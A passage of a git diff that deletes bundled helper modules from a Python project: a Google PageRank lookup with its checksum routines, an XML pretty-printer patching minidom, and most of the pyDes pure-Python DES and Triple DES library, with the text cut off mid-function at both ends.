'http://toolbarqueries.google.com/tbr?client=navclient-auto&features=Rank&ch=%s&q=info:%s' % (check_hash(hash_url(url)), urllib.quote(url)) - try: - f = urllib.urlopen(_) - rank = f.read().strip()[9:] - except Exception: - rank = 'N/A' - else: - rank = '0' if not rank or not rank.isdigit() else rank - return rank - -def int_str(string_, integer, factor): - for i in xrange(len(string_)) : - integer *= factor - integer &= 0xFFFFFFFF - integer += ord(string_[i]) - - return integer - -def hash_url(string_): - c1 = int_str(string_, 0x1505, 0x21) - c2 = int_str(string_, 0, 0x1003F) - - c1 >>= 2 - c1 = ((c1 >> 4) & 0x3FFFFC0) | (c1 & 0x3F) - c1 = ((c1 >> 4) & 0x3FFC00) | (c1 & 0x3FF) - c1 = ((c1 >> 4) & 0x3C000) | (c1 & 0x3FFF) - - t1 = (c1 & 0x3C0) << 4 - t1 |= c1 & 0x3C - t1 = (t1 << 2) | (c2 & 0xF0F) - - t2 = (c1 & 0xFFFFC000) << 4 - t2 |= c1 & 0x3C00 - t2 = (t2 << 0xA) | (c2 & 0xF0F0000) - - return (t1 | t2) - -def check_hash(hash_int): - hash_str = '%u' % (hash_int) - flag = 0 - check_byte = 0 - - i = len(hash_str) - 1 - while i >= 0: - byte = int(hash_str[i]) - if 1 == (flag % 2): - byte *= 2; - byte = byte / 10 + byte % 10 - check_byte += byte - flag += 1 - i -= 1 - - check_byte %= 10 - if 0 != check_byte: - check_byte = 10 - check_byte - if 1 == flag % 2: - if 1 == check_byte % 2: - check_byte += 9 - check_byte >>= 1 - - return '7' + str(check_byte) + hash_str diff --git a/extra/prettyprint/__init__.py b/extra/prettyprint/__init__.py deleted file mode 100755 index 1f9e1434354..00000000000 --- a/extra/prettyprint/__init__.py +++ /dev/null @@ -1,26 +0,0 @@ -#!/usr/bin/env python - -#Copyright (c) 2010, Chris Hall <chris.hall@mod10.net> -#All rights reserved. - -#Redistribution and use in source and binary forms, with or without modification, -#are permitted provided that the following conditions are met: - -#* Redistributions of source code must retain the above copyright notice, -#this list of conditions and the following disclaimer. -#* Redistributions in binary form must reproduce the above copyright notice, -#this list of conditions and the following disclaimer in the documentation -#and/or other materials provided with the distribution. - -#THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -#ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -#DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR -#ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -#LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND -#ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -#(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -#SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -pass diff --git a/extra/prettyprint/prettyprint.py b/extra/prettyprint/prettyprint.py deleted file mode 100644 index 586d808114a..00000000000 --- a/extra/prettyprint/prettyprint.py +++ /dev/null @@ -1,97 +0,0 @@ -#!/usr/bin/env python - -#Copyright (c) 2010, Chris Hall <chris.hall@mod10.net> -#All rights reserved. - -#Redistribution and use in source and binary forms, with or without modification, -#are permitted provided that the following conditions are met: - -#* Redistributions of source code must retain the above copyright notice, -#this list of conditions and the following disclaimer. -#* Redistributions in binary form must reproduce the above copyright notice, -#this list of conditions and the following disclaimer in the documentation -#and/or other materials provided with the distribution. - -#THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -#ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -#DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR -#ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -#LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND -#ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -#(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -#SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -from xml.dom import minidom -from xml.dom import Node - -def format(text): - doc = minidom.parseString(text) - root = doc.childNodes[0] - return root.toprettyxml(indent=' ') - -def formatXML(doc, encoding=None): - root = doc.childNodes[0] - return root.toprettyxml(indent=' ', encoding=encoding) - -def _patch_minidom(): - minidom.Text.writexml = _writexml_text - minidom.Element.writexml = _writexml_element - minidom.Node.toprettyxml = _toprettyxml_node - -def _collapse(node): - for child in node.childNodes: - if child.nodeType == Node.TEXT_NODE and len(child.data.strip()) == 0: - child.data = '' - else: - _collapse(child) - -def _writexml_text(self, writer, indent="", addindent="", newl=""): - minidom._write_data(writer, "%s"%(self.data.strip())) - -def _writexml_element(self, writer, indent="", addindent="", newl=""): - # indent = current indentation - # addindent = indentation to add to higher levels - # newl = newline string - writer.write(indent+"<" + self.tagName) - - attrs = self._get_attributes() - a_names = attrs.keys() - a_names.sort() - - for a_name in a_names: - writer.write(" %s=\"" % a_name) - minidom._write_data(writer, attrs[a_name].value) - writer.write("\"") - if self.childNodes: - if self.childNodes[0].nodeType == Node.TEXT_NODE and len(self.childNodes[0].data) > 0: - writer.write(">") - else: - writer.write(">%s"%(newl)) - for node in self.childNodes: - node.writexml(writer,indent+addindent,addindent,newl) - if self.childNodes[-1].nodeType == Node.TEXT_NODE and len(self.childNodes[0].data) > 0: - writer.write("</%s>%s" % (self.tagName,newl)) - else: - writer.write("%s</%s>%s" % (indent,self.tagName,newl)) - else: - writer.write("/>%s"%(newl)) - -def _toprettyxml_node(self, indent="\t", newl="\n", encoding = None): - _collapse(self) - # indent = the indentation string to prepend, per level - # newl = the newline string to append - writer = minidom._get_StringIO() - if encoding is not None: - import codecs - # Can't use codecs.getwriter to preserve 2.0 compatibility - writer = codecs.lookup(encoding)[3](writer) - if self.nodeType == Node.DOCUMENT_NODE: - # Can pass encoding only to document, to put it into XML header - self.writexml(writer, "", indent, newl, encoding) - else: - self.writexml(writer, "", indent, newl) - return writer.getvalue() - -_patch_minidom() diff --git a/extra/pydes/pyDes.py b/extra/pydes/pyDes.py deleted file mode 100644 index 13e55925097..00000000000 --- a/extra/pydes/pyDes.py +++ /dev/null @@ -1,858 +0,0 @@ -############################################################################# -# Documentation # -############################################################################# - -# Author: Todd Whiteman -# Date: 16th March, 2009 -# Verion: 2.0.0 -# License: Public Domain - free to do as you wish -# Homepage: http://twhiteman.netfirms.com/des.html -# -# This is a pure python implementation of the DES encryption algorithm. -# It's pure python to avoid portability issues, since most DES -# implementations are programmed in C (for performance reasons). -# -# Triple DES class is also implemented, utilising the DES base. Triple DES -# is either DES-EDE3 with a 24 byte key, or DES-EDE2 with a 16 byte key. -# -# See the README.txt that should come with this python module for the -# implementation methods used. -# -# Thanks to: -# * David Broadwell for ideas, comments and suggestions. -# * Mario Wolff for pointing out and debugging some triple des CBC errors. -# * Santiago Palladino for providing the PKCS5 padding technique. -# * Shaya for correcting the PAD_PKCS5 triple des CBC errors. -# -"""A pure python implementation of the DES and TRIPLE DES encryption algorithms. - -Class initialization --------------------- -pyDes.des(key, [mode], [IV], [pad], [padmode]) -pyDes.triple_des(key, [mode], [IV], [pad], [padmode]) - -key -> Bytes containing the encryption key. 8 bytes for DES, 16 or 24 bytes - for Triple DES -mode -> Optional argument for encryption type, can be either - pyDes.ECB (Electronic Code Book) or pyDes.CBC (Cypher Block Chaining) -IV -> Optional Initial Value bytes, must be supplied if using CBC mode. - Length must be 8 bytes. -pad -> Optional argument, set the pad character (PAD_NORMAL) to use during - all encrypt/decrpt operations done with this instance. -padmode -> Optional argument, set the padding mode (PAD_NORMAL or PAD_PKCS5) - to use during all encrypt/decrpt operations done with this instance. - -I recommend to use PAD_PKCS5 padding, as then you never need to worry about any -padding issues, as the padding can be removed unambiguously upon decrypting -data that was encrypted using PAD_PKCS5 padmode. - -Common methods --------------- -encrypt(data, [pad], [padmode]) -decrypt(data, [pad], [padmode]) - -data -> Bytes to be encrypted/decrypted -pad -> Optional argument. Only when using padmode of PAD_NORMAL. For - encryption, adds this characters to the end of the data block when - data is not a multiple of 8 bytes. For decryption, will remove the - trailing characters that match this pad character from the last 8 - bytes of the unencrypted data block. -padmode -> Optional argument, set the padding mode, must be one of PAD_NORMAL - or PAD_PKCS5). Defaults to PAD_NORMAL. - - -Example -------- -from pyDes import * - -data = "Please encrypt my data" -k = des("DESCRYPT", CBC, "\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5) -# For Python3, you'll need to use bytes, i.e.: -# data = b"Please encrypt my data" -# k = des(b"DESCRYPT", CBC, b"\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5) -d = k.encrypt(data) -print "Encrypted: %r" % d -print "Decrypted: %r" % k.decrypt(d) -assert k.decrypt(d, padmode=PAD_PKCS5) == data - - -See the module source (pyDes.py) for more examples of use. -You can also run the pyDes.py file without and arguments to see a simple test. - -Note: This code was not written for high-end systems needing a fast - implementation, but rather a handy portable solution with small usage. - -""" - -import sys - -# _pythonMajorVersion is used to handle Python2 and Python3 differences. -_pythonMajorVersion = sys.version_info[0] - -# Modes of crypting / cyphering -ECB = 0 -CBC = 1 - -# Modes of padding -PAD_NORMAL = 1 -PAD_PKCS5 = 2 - -# PAD_PKCS5: is a method that will unambiguously remove all padding -# characters after decryption, when originally encrypted with -# this padding mode. -# For a good description of the PKCS5 padding technique, see: -# http://www.faqs.org/rfcs/rfc1423.html - -# The base class shared by des and triple des. -class _baseDes(object): - def __init__(self, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): - if IV: - IV = self._guardAgainstUnicode(IV) - if pad: - pad = self._guardAgainstUnicode(pad) - self.block_size = 8 - # Sanity checking of arguments. - if pad and padmode == PAD_PKCS5: - raise ValueError("Cannot use a pad character with PAD_PKCS5") - if IV and len(IV) != self.block_size: - raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes") - - # Set the passed in variables - self._mode = mode - self._iv = IV - self._padding = pad - self._padmode = padmode - - def getKey(self): - """getKey() -> bytes""" - return self.__key - - def setKey(self, key): - """Will set the crypting key for this object.""" - key = self._guardAgainstUnicode(key) - self.__key = key - - def getMode(self): - """getMode() -> pyDes.ECB or pyDes.CBC""" - return self._mode - - def setMode(self, mode): - """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC""" - self._mode = mode - - def getPadding(self): - """getPadding() -> bytes of length 1. Padding character.""" - return self._padding - - def setPadding(self, pad): - """setPadding() -> bytes of length 1. Padding character.""" - if pad is not None: - pad = self._guardAgainstUnicode(pad) - self._padding = pad - - def getPadMode(self): - """getPadMode() -> pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" - return self._padmode - - def setPadMode(self, mode): - """Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" - self._padmode = mode - - def getIV(self): - """getIV() -> bytes""" - return self._iv - - def setIV(self, IV): - """Will set the Initial Value, used in conjunction with CBC mode""" - if not IV or len(IV) != self.block_size: - raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes") - IV = self._guardAgainstUnicode(IV) - self._iv = IV - - def _padData(self, data, pad, padmode): - # Pad data depending on the mode - if padmode is None: - # Get the default padding mode. - padmode = self.getPadMode() - if pad and padmode == PAD_PKCS5: - raise ValueError("Cannot use a pad character with PAD_PKCS5") - - if padmode == PAD_NORMAL: - if len(data) % self.block_size == 0: - # No padding required. - return data - - if not pad: - # Get the default padding. - pad = self.getPadding() - if not pad: - raise ValueError("Data must be a multiple of " + str(self.block_size) + " bytes in length. Use padmode=PAD_PKCS5 or set the pad character.") - data += (self.block_size - (len(data) % self.block_size)) * pad - - elif padmode == PAD_PKCS5: - pad_len = 8 - (len(data) % self.block_size) - if _pythonMajorVersion < 3: - data += pad_len * chr(pad_len) - else: - data += bytes([pad_len] * pad_len) - - return data - - def _unpadData(self, data, pad, padmode): - # Unpad data depending on the mode. - if not data: - return data - if pad and padmode == PAD_PKCS5: - raise ValueError("Cannot use a pad character with PAD_PKCS5") - if padmode is None: - # Get the default padding mode. - padmode = self.getPadMode() - - if padmode == PAD_NORMAL: - if not pad: - # Get the default padding. - pad = self.getPadding() - if pad: - data = data[:-self.block_size] + \ - data[-self.block_size:].rstrip(pad) - - elif padmode == PAD_PKCS5: - if _pythonMajorVersion < 3: - pad_len = ord(data[-1]) - else: - pad_len = data[-1] - data = data[:-pad_len] - - return data - - def _guardAgainstUnicode(self, data): - # Only accept byte strings or ascii unicode values, otherwise - # there is no way to correctly decode the data into bytes. - if _pythonMajorVersion < 3: - if isinstance(data, unicode): - data = data.encode('utf8') - else: - if isinstance(data, str): - # Only accept ascii unicode values. - try: - return data.encode('ascii') - except UnicodeEncodeError: - pass - raise ValueError("pyDes can only work with encoded strings, not Unicode.") - return data - -############################################################################# -# DES # -############################################################################# -class des(_baseDes): - """DES encryption/decrytpion class - - Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes. - - pyDes.des(key,[mode], [IV]) - - key -> Bytes containing the encryption key, must be exactly 8 bytes - mode -> Optional argument for encryption type, can be either pyDes.ECB - (Electronic Code Book), pyDes.CBC (Cypher Block Chaining) - IV -> Optional Initial Value bytes, must be supplied if using CBC mode. - Must be 8 bytes in length. - pad -> Optional argument, set the pad character (PAD_NORMAL) to use - during all encrypt/decrpt operations done with this instance. - padmode -> Optional argument, set the padding mode (PAD_NORMAL or - PAD_PKCS5) to use during all encrypt/decrpt operations done - with this instance. - """ - - - # Permutation and translation tables for DES - __pc1 = [56, 48, 40, 32, 24, 16, 8, - 0, 57, 49, 41, 33, 25, 17, - 9, 1, 58, 50, 42, 34, 26, - 18, 10, 2, 59, 51, 43, 35, - 62, 54, 46, 38, 30, 22, 14, - 6, 61, 53, 45, 37, 29, 21, - 13, 5, 60, 52, 44, 36, 28, - 20, 12, 4, 27, 19, 11, 3 - ] - - # number left rotations of pc1 - __left_rotations = [ - 1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1 - ] - - # permuted choice key (table 2) - __pc2 = [ - 13, 16, 10, 23, 0, 4, - 2, 27, 14, 5, 20, 9, - 22, 18, 11, 3, 25, 7, - 15, 6, 26, 19, 12, 1, - 40, 51, 30, 36, 46, 54, - 29, 39, 50, 44, 32, 47, - 43, 48, 38, 55, 33, 52, - 45, 41, 49, 35, 28, 31 - ] - - # initial permutation IP - __ip = [57, 49, 41, 33, 25, 17, 9, 1, - 59, 51, 43, 35, 27, 19, 11, 3, - 61, 53, 45, 37, 29, 21, 13, 5, - 63, 55, 47, 39, 31, 23, 15, 7, - 56, 48, 40, 32, 24, 16, 8, 0, - 58, 50, 42, 34, 26, 18, 10, 2, - 60, 52, 44, 36, 28, 20, 12, 4, - 62, 54, 46, 38, 30, 22, 14, 6 - ] - - # Expansion table for turning 32 bit blocks into 48 bits - __expansion_table = [ - 31, 0, 1, 2, 3, 4, - 3, 4, 5, 6, 7, 8, - 7, 8, 9, 10, 11, 12, - 11, 12, 13, 14, 15, 16, - 15, 16, 17, 18, 19, 20, - 19, 20, 21, 22, 23, 24, - 23, 24, 25, 26, 27, 28, - 27, 28, 29, 30, 31, 0 - ] - - # The (in)famous S-boxes - __sbox = [ - # S1 - [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7, - 0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8, - 4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0, - 15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13], - - # S2 - [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10, - 3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5, - 0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15, - 13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9], - - # S3 - [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8, - 13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1, - 13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7, - 1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12], - - # S4 - [7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15, - 13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9, - 10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4, - 3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14], - - # S5 - [2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9, - 14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6, - 4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14, - 11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3], - - # S6 - [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11, - 10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8, - 9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6, - 4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13], - - # S7 - [4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1, - 13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6, - 1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2, - 6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12], - - # S8 - [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7, - 1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2, - 7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8, - 2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11], - ] - - - # 32-bit permutation function P used on the output of the S-boxes - __p = [ - 15, 6, 19, 20, 28, 11, - 27, 16, 0, 14, 22, 25, - 4, 17, 30, 9, 1, 7, - 23,13, 31, 26, 2, 8, - 18, 12, 29, 5, 21, 10, - 3, 24 - ] - - # final permutation IP^-1 - __fp = [ - 39, 7, 47, 15, 55, 23, 63, 31, - 38, 6, 46, 14, 54, 22, 62, 30, - 37, 5, 45, 13, 53, 21, 61, 29, - 36, 4, 44, 12, 52, 20, 60, 28, - 35, 3, 43, 11, 51, 19, 59, 27, - 34, 2, 42, 10, 50, 18, 58, 26, - 33, 1, 41, 9, 49, 17, 57, 25, - 32, 0, 40, 8, 48, 16, 56, 24 - ] - - # Type of crypting being done - ENCRYPT = 0x00 - DECRYPT = 0x01 - - # Initialisation - def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): - # Sanity checking of arguments. - if len(key) != 8: - raise ValueError("Invalid DES key size. Key must be exactly 8 bytes long.") - _baseDes.__init__(self, mode, IV, pad, padmode) - self.key_size = 8 - - self.L = [] - self.R = [] - self.Kn = [ [0] * 48 ] * 16 # 16 48-bit keys (K1 - K16) - self.final = [] - - self.setKey(key) - - def setKey(self, key): - """Will set the crypting key for this object. Must be 8 bytes.""" - _baseDes.setKey(self, key) - self.__create_sub_keys() - - def __String_to_BitList(self, data): - """Turn the string data, into a list of bits (1, 0)'s""" - if _pythonMajorVersion < 3: - # Turn the strings into integers. Python 3 uses a bytes - # class, which already has this behaviour. - data = [ord(c) for c in data] - - result = [False] * len(data) * 8 - pos = 0 - for ch in data: - result[pos + 0] = (ch & (1 << 7) != 0) - result[pos + 1] = (ch & (1 << 6) != 0) - result[pos + 2] = (ch & (1 << 5) != 0) - result[pos + 3] = (ch & (1 << 4) != 0) - result[pos + 4] = (ch & (1 << 3) != 0) - result[pos + 5] = (ch & (1 << 2) != 0) - result[pos + 6] = (ch & (1 << 1) != 0) - result[pos + 7] = (ch & (1 << 0) != 0) - pos += 8 - - return result - - def __BitList_to_String(self, data): - """Turn the list of bits -> data, into a string""" - result = [0] * (len(data) >> 3) - pos = 0 - while pos < len(data): - c = data[pos + 0] << (7 - 0) - c += data[pos + 1] << (7 - 1) - c += data[pos + 2] << (7 - 2) - c += data[pos + 3] << (7 - 3) - c += data[pos + 4] << (7 - 4) - c += data[pos + 5] << (7 - 5) - c += data[pos + 6] << (7 - 6) - c += data[pos + 7] << (7 - 7) - result[pos >> 3] = c - pos += 8 - - if _pythonMajorVersion < 3: - return ''.join([ chr(c) for c in result ]) - else: - return bytes(result) - - def __permutate(self, table, block): - """Permutate this block with the specified table""" - #return map(lambda x: block[x], table) - return list(block[x] for x in table) - - # Transform the secret key, so that it is ready for data processing - # Create the 16 subkeys, K[1] - K[16] - def __create_sub_keys(self): - """Create the 16 subkeys K[1] to K[16] from the given key""" - key = self.__permutate(des.__pc1, self.__String_to_BitList(self.getKey())) - i = 0 - # Split into Left and Right sections - self.L = key[:28] - self.R = key[28:] - while i < 16: - j = 0 - # Perform circular left shifts - while j < des.__left_rotations[i]: - self.L.append(self.L[0]) - del self.L[0] - - self.R.append(self.R[0]) - del self.R[0] - - j += 1 - - # Create one of the 16 subkeys through pc2 permutation - self.Kn[i] = self.__permutate(des.__pc2, self.L + self.R) - - i += 1 - - # Main part of the encryption algorithm, the number cruncher :) - def __des_crypt(self, block, crypt_type): - """Crypt the block of data through DES bit-manipulation""" - block = self.__permutate(des.__ip, block) - Bn = [0] * 32 - self.L = block[:32] - self.R = block[32:] - - # Encryption starts from Kn[1] through to Kn[16] - if crypt_type == des.ENCRYPT: - iteration = 0 - iteration_adjustment = 1 - # Decryption starts from Kn[16] down to Kn[1] - else: - iteration = 15 - iteration_adjustment = -1 - - i = 0 - while i < 16: - # Make a copy of R[i-1], this will later become L[i] - tempR = self.R[:] - - # Permutate R[i - 1] to start creating R[i] - self.R = self.__permutate(des.__expansion_table, self.R) - - # Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here - self.R = map(lambda x, y: x ^ y, self.R, self.Kn[iteration]) - B = [self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], self.R[36:42], self.R[42:]] - # Optimization: Replaced below commented code with above - #j = 0 - #B = [] - #while j < len(self.R): - # self.R[j] = self.R[j] ^ self.Kn[iteration][j] - # j += 1 - # if j % 6 == 0: - # B.append(self.R[j-6:j]) - - # Permutate B[1] to B[8] using the S-Boxes - j = 0 - pos = 0 - while j < 8: - # Work out the offsets - m = (B[j][0] << 1) + B[j][5] - n = (B[j][1] << 3) + (B[j][2] << 2) + (B[j][3] << 1) + B[j][4] - - # Find the permutation value - v = des.__sbox[j][(m << 4) + n] - - # Turn value into bits, add it to result: Bn - Bn[pos] = (v & 8) >> 3 - Bn[pos + 1] = (v & 4) >> 2 - Bn[pos + 2] = (v & 2) >> 1 - Bn[pos + 3] = v & 1 - - pos += 4 - j += 1 - - # Permutate the concatination of B[1] to B[8] (Bn) - self.R = self.__permutate(des.__p, Bn) - - # Xor with L[i - 1] - self.R = map(lambda x, y: x ^ y, self.R, self.L) - # Optimization: This now replaces the below commented code - #j = 0 - #while j < len(self.R): - # self.R[j] = self.R[j] ^ self.L[j] - # j += 1 - - # L[i] becomes R[i - 1] - self.L = tempR - - i += 1 - iteration += iteration_adjustment - - # Final permutation of R[16]L[16] - self.final = self.__permutate(des.__fp, self.R + self.L) - return self.final - - - # Data to be encrypted/decrypted - def crypt(self, data, crypt_type): - """Crypt the data in blocks, running it through des_crypt()""" - - # Error check the data - if not data: - return '' - if len(data) % self.block_size != 0: - if crypt_type == des.DECRYPT: # Decryption must work on 8 byte blocks - raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n.") - if not self.getPadding(): - raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n. Try setting the optional padding character") - else: - data += (self.block_size - (len(data) % self.block_size)) * self.getPadding() - # print "Len of data: %f" % (len(data) / self.block_size) - - if self.getMode() == CBC: - if self.getIV(): - iv = self.__String_to_BitList(self.getIV()) - else: - raise ValueError("For CBC mode, you must supply the Initial Value (IV) for ciphering") - - # Split the data into blocks, crypting each one seperately - i = 0 - dict = {} - result = [] - #cached = 0 - #lines = 0 - while i < len(data): - # Test code for caching encryption results - #lines += 1 - #if dict.has_key(data[i:i+8]): - #print "Cached result for: %s" % data[i:i+8] - # cached += 1 - # result.append(dict[data[i:i+8]]) - # i += 8 - # continue - - block = self.__String_to_BitList(data[i:i+8]) - - # Xor with IV if using CBC mode - if self.getMode() == CBC: - if crypt_type == des.ENCRYPT: - block = map(lambda x, y: x ^ y, block, iv) - #j = 0 - #while j < len(block): - # block[j] = block[j] ^ iv[j] - # j += 1 - - processed_block = self.__des_crypt(block, crypt_type) - - if crypt_type == des.DECRYPT: - processed_block = map(lambda x, y: x ^ y, processed_block, iv) - #j = 0 - #while j < len(processed_block): - # processed_block[j] = processed_block[j] ^ iv[j] - # j += 1 - iv = block - else: - iv = processed_block - else: - processed_block = self.__des_crypt(block, crypt_type) - - - # Add the resulting crypted block to our list - #d = self.__BitList_to_String(processed_block) - #result.append(d) - result.append(self.__BitList_to_String(processed_block)) - #dict[data[i:i+8]] = d - i += 8 - - # print "Lines: %d, cached: %d" % (lines, cached) - - # Return the full crypted string - if _pythonMajorVersion < 3: - return ''.join(result) - else: - return bytes.fromhex('').join(result) - - def encrypt(self, data, pad=None, padmode=None): - """encrypt(data, [pad], [padmode]) -> bytes - - data : Bytes to be encrypted - pad : Optional argument for encryption padding. Must only be one byte - padmode : Optional argument for overriding the padding mode. - - The data must be a multiple of 8 bytes and will be encrypted - with the already specified key. Data does not have to be a - multiple of 8 bytes if the padding character is supplied, or - the padmode is set to PAD_PKCS5, as bytes will then added to - ensure the be padded data is a multiple of 8 bytes. - """ - data = self._guardAgainstUnicode(data) - if pad is not None: - pad = self._guardAgainstUnicode(pad) - data = self._padData(data, pad, padmode) - return self.crypt(data, des.ENCRYPT) - - def decrypt(self, data, pad=None, padmode=None): - """decrypt(data, [pad], [padmode]) -> bytes - - data : Bytes to be encrypted - pad : Optional argument for decryption padding. Must only be one byte - padmode : Optional argument for overriding the padding mode. - - The data must be a multiple of 8 bytes and will be decrypted - with the already specified key. In PAD_NORMAL mode, if the - optional padding character is supplied, then the un-encrypted - data will have the padding characters removed from the end of - the bytes. This pad removal only occurs on the last 8 bytes of - the data (last data block). In PAD_PKCS5 mode, the special - padding end markers will be removed from the data after decrypting. - """ - data = self._guardAgainstUnicode(data) - if pad is not None: - pad = self._guardAgainstUnicode(pad) - data = self.crypt(data, des.DECRYPT) - return self._unpadData(data, pad, padmode) - - - -############################################################################# -# Triple DES # -############################################################################# -class triple_des(_baseDes): - """Triple DES encryption/decrytpion class - - This algorithm uses the DES-EDE3 (when a 24 byte key is supplied) or - the DES-EDE2 (when a 16 byte key is supplied) encryption methods. - Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes. - - pyDes.des(key, [mode], [IV]) - - key -> Bytes containing the encryption key, must be either 16 or - 24 bytes long - mode -> Optional argument for encryption type, can be either pyDes.ECB - (Electronic Code Book), pyDes.CBC (Cypher Block Chaining) - IV -> Optional Initial Value bytes, must be supplied if using CBC mode. - Must be 8 bytes in length. - pad -> Optional argument, set the pad character (PAD_NORMAL) to use - during all encrypt/decrpt operations done with this instance. - padmode -> Optional argument, set the padding mode (PAD_NORMAL or - PAD_PKCS5) to use during all encrypt/decrpt operations done - with this instance. - """ - def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): - _baseDes.__init__(self, mode, IV, pad, padmode) - self.setKey(key) - - def setKey(self, key): - """Will set the crypting key for this object. Either 16 or 24 bytes long.""" - self.key_size = 24 # Use DES-EDE3 mode - if len(key) != self.key_size: - if len(key) == 16: # Use DES-EDE2 mode - self.key_size = 16 - else: - raise ValueError("Invalid triple DES key size. Key must be either 16 or 24 bytes long") - if self.getMode() == CBC: - if not self.getIV(): - # Use the first 8 bytes of the key - self._iv = key[:self.block_size] - if len(self.getIV()) != self.block_size: - raise ValueError("Invalid IV, must be 8 bytes in length") - self.__key1 = des(key[:8], self._mode, self._iv, - self._padding, self._padmode) - self.__key2 = des(key[8:16], self._mode, self._iv, - self._padding, self._padmode) - if self.key_size == 16: - self.__key3 = self.__key1 - else: - self.__key3 = 